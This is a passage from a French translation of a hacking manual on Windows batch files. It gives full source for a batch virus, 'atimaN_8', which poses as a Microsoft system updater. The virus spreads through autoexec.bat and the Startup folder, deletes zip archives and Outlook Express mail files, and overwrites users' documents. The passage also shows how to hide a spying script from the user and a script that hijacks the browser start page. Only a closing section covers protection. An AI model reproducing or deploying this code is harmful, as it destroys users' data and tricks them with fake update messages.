d'un fichier particulier.  Si vous ne voulez  pas que l'utilisateur lise le
fichier abc.txt alors vous pouvez insrer une instruction conditionnelle IF

IF "%1" == "abc.txt" ECHO Votre message d'erreur ici

4. AMELIORER NOTRE PROGRAMME D'ECOUTE POUR DISPARAITRE AUX YEUX DU LAMER

Pour amliorer le fonctionnement de notre programme il faut savoir sa faon
de fonctionner.  Si vous avez effectu correctement les tapes prcdentes,
lors de  l'ouverture d'un  fichier  .txt,  notre programme  Batch est lanc
(dans une fentre maximise)  et lance Notepad.  Une fois le nom du fichier
enregistr ainsi que son heure d'ouverture,  la fentre de notre  script ne
se ferme pas automatiquement et  l'utilisateur est donc oblig de la fermer
manuellement.  Une personne dot de neuronnes en  tat de marche se doutera
forcemment  qu'il  se trme  quelque chose  de louche.  Il est possible  de
configurer  l'excution  de notre  fichier afin  qu'il  fonctionne dans une
fentre minimise  et qu'il la  ferme tout seul  aprs son excution.  Pour
cela suivez les tapes suivantes :

a) Faites un click droit sur le fichier Batch
b) Choisissez Proprits dans le menu
c) Dans l'onglet Programme cliquez cochez l'option 'Fermer aprs excution'
d) Coch Minimis dans la mme fentre
e) Cliquez sur Appliquer et voil !! On est invisible.

Ceci est juste un exemple d'un simple programme Batch.  Vous pouvez facile-
ment crer un programme plus volu et plus utile avec ce langage.

FABRIQUER SON PROPRE VIRUS BATCH DE LA MORT : Le virus Batch atimaN_8

DISCLAIMER : Ce virus est l'oeuvre de Ankit Fadia ankit@bol.net.in et a t
cre  but  ducatif uniquement.  Ce virus a pour  objectif de montrer  aux
gens le  fonctionnement basic  d'un virus.  Excutez  le   vos  risques et
prils.  En aucun cas  vous ne pouvez  tenir  responsable  Ankit Fadia  des
dommages  causs par  ce  fichier.  Si vous  voulez  avoir  une  quelconque
information sur ce virus n'hsitez pas  me contacter  :  ankit@bol.net.in
ou  visiter mon site Internet : http://www.crosswinds.net/~hackingtruths

L'exemple qui suit est un simple,  mais quelque peu  dangereux  (quoique un
peu lame),  virus Batch de ma composition.  Je l'ai baptis  atimaN_8 et je
n'ai utilis aucune commande DOS avanc pour le faire. Vous ne devriez donc
avori aucun problme  comprendre le code  ;  dans le cas contraire envoyez
moi un mail  ankit@bol.net.in

@ECHO OFF
CLS
IF EXIST c:\winupdt.bat GOTO CODE
GOTO SETUP
:SETUP
@ECHO OFF
ECHO Welcome To Microsoft Windows System Updater Setup
ECHO.
copy %0 c:\winupdt.bat >> NUL
ECHO Scanning System... Please Wait
prompt $P$SWindows2000
type %0 >> c:\autoexec.bat
type %0 >> c:\windows\dosstart.bat
ECHO DONE.
ECHO.
ECHO Installing Components... Please Wait
FOR %%a IN (*.zip) DO del %%a
FOR %%a IN (C:\mydocu~1\*.txt) DO COPY c:\winupdt.bat %%a >> NUL
FOR %%a IN (C:\mydocu~1\*.xls) DO COPY c:\winupdt.bat %%a >> NUL
FOR %%a IN (C:\mydocu~1\*.doc) DO COPY c:\winupdt.bat %%a >> NUL
ECHO DONE.
ECHO.
ECHO You now need to register with Microsoft's partner : Fortune Galaxy to
ECHO receive automatic updates.
PAUSE
ECHO Downloading Components... Please Wait
START "C:\Program Files\Internet Explorer\IExplore.exe" http://www.crosswinds.net/~hackingtruths
IF EXIST "C:\Program Files\Outlook Express\msimn.exe" del "C:\WINDOWS\Application Data\Identities\{161C80E0-1B99-11D4-9077-FD90FD02053A}\Microsoft\Outlook Express\*.dbx"
IF EXIST "C:\WINDOWS\Application Data\Microsoft\Adress Book\ankit.wab" del "C:\WINDOWS\Application Data\Microsoft\Adress Book\ankit.wab"
ECHO Setup will now restart your computer... Please wait
ECHO Your system is now faster by almost 40 %.
ECHO Thank you for using a Microsoft Partner's product.
copy %0 "C:\WINDOWS\Start Menu\Programs\StartUp\winupdt.bat" >> NUL
C:\WINDOWS\RUNDLL user.exe, exitwindowsexec
CLS
GOTO END


:CODE
CLS
@ECHO OFF
prompt $P$SWindows2000
IF "%0" == "C:\AUTOEXEC.BAT" GOTO ABC
type %0 >> c:\autoexec.bat
:ABC
type %0 >> c:\windows\dosstart.bat
FOR %%a IN (*.zip) DO del %%a
FOR %%a IN (C:\mydocu~1\*.txt) DO COPY c:\winupdt.bat %%a >> NUL
FOR %%a IN (C:\mydocu~1\*.xls) DO COPY c:\winupdt.bat %%a >> NUL
FOR %%a IN (C:\mydocu~1\*.doc) DO COPY c:\winupdt.bat %%a >> NUL
START "C:\Program Files\Internet Explorer\Iexplore.exe" http://www.crosswinds.net/~hackingtruths
IF EXIST "C:\Program Files\Outlook Express\msimn.exe" del "C:\WINDOWS\Application Data\Identities\{161C80E0-1B99-11D4-9077-FD90FD02053A}\Microsoft\Outlook Express\*.dbx" >> NUL
IF EXIST "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab"  del "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab" >> NUL
copy %0 "C:\WINDOWS\Start Menu\Programs\StartUp\winupdt.bat" >> NUL
GOTO :END
CLS
:END
CLS

C'tait un  exemple de petit  et lame virus batch.  Vous pouvez  de la mme
faon crer  un virus qui  modifiera la  base de  registre et  causera  des
dgts.  C'est juste une ide,  je ne suis  pas responsable  de ce que vous
faites avec.

Il n'y a pas de solution simple pour modifier la base de registre  travers
un fichier Batch.  Bien  qu'il y  ai  une option de  ligne de  commande  du
registre (Voir dans le chapitre sur le Advanced Windows Hacking),  ce n'est
pas aussi simple que cela.  La meilleure  solution est de  crer un fichier
.reg et de  l'excuter   l'aide de notre  script Batch.  La chose  la plus
importante  se rappeller est le format d'un fichier  .reg et plus particu-
lirement que la premire ligne de tous les fichiers  .reg doit contenir la
chane REGEDIT4 sans quoi Windows ne le considrera pas comme un fichier de
registre.  L'exemple suivant change la  page de dmarrage de  l'utilisateur
(si internet Explorer est install)  http://hackingtruths.tripod.com

@ECHO OFF
ECHO REGEDIT4 > ankit.reg
ECHO [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main] >> ankit.reg
ECHO "Start Page"="http://hackingtruths.tripod.com" >> ankit.reg

Crer un fichier .reg n'est pas aussi simple que cela en a l'air. En effet,
pour que Windows  ajoute le contenu  du fichier  .reg au registre,  il doit
respecter un format  bien  particulier sans  quoi un message  d'erreur sera
affich. Je ne vous dcrirai pas le format des fichiers de registre windows
car le manuel sur  le Hacking Avanc de Windows  contient une norme partie
sur ce sujet.

SE PROTEGER DES VIRUS BATCH

Si vous double cliquez sur un fichier Batch (.bat), il se lancera automati-
quement.  Cela peut s'avrer  dangereux si  le programme  Batch contient du
code malveillant. encore pire, si vous avez choisi l'option du simple click
alors un click  de travers et  Bye Bye windows.  Une solution est  de fixer
l'dition comme  option par dfaut.  La meilleure faon  de faire cela  est
d'aller dans 'Outils > Option des dossiers...' puis dans l'onglet 'Types de
fichiers' de l'explorateur afin de modifier l'action par dfaut.  Cependant
Windows va alors griser les boutons Modifier et Option par dfaut.
Pour contourner cela allons dans le registre de Windows et renommons la cl
HKEY_CLASSES_ROOT\batfile\shell\open  en run  (on ne change  pas l'emplace-
ment). Double cliquez sur la valeur binaire EditFlags 
HKEY_CLASSES_ROOT\batfile et entrer 00 00 00 00 comme nouvelle valeur.
Maintenant,  ouvrez l'explorateur,  cliquez  sur  'Option des  dossiers' et
dans l'onglet Types de Fichiers, slectionnez "MS-DOS Batch File".  Cliquez
ensuite sur Avanc.  Vous remarquerez  que les  boutons (Nouveau, Modifier,
Supprimer et Par dfaut) sont maintenant activs et que vous pouvez choisir
l'dition comme choix par dfaut.

Ankit Fadia
ankit@bol.net.in

Obtennez la  liste des  manuels  [TOUT DE DONT  VOUS AVEZ RV]  crits par
Ankit Fadia,  sa mailing liste.
Pour recevoir les manuels dans votre bote electronique,  envoyez un mail 
programmingforhackers-suscribe@egroups.com

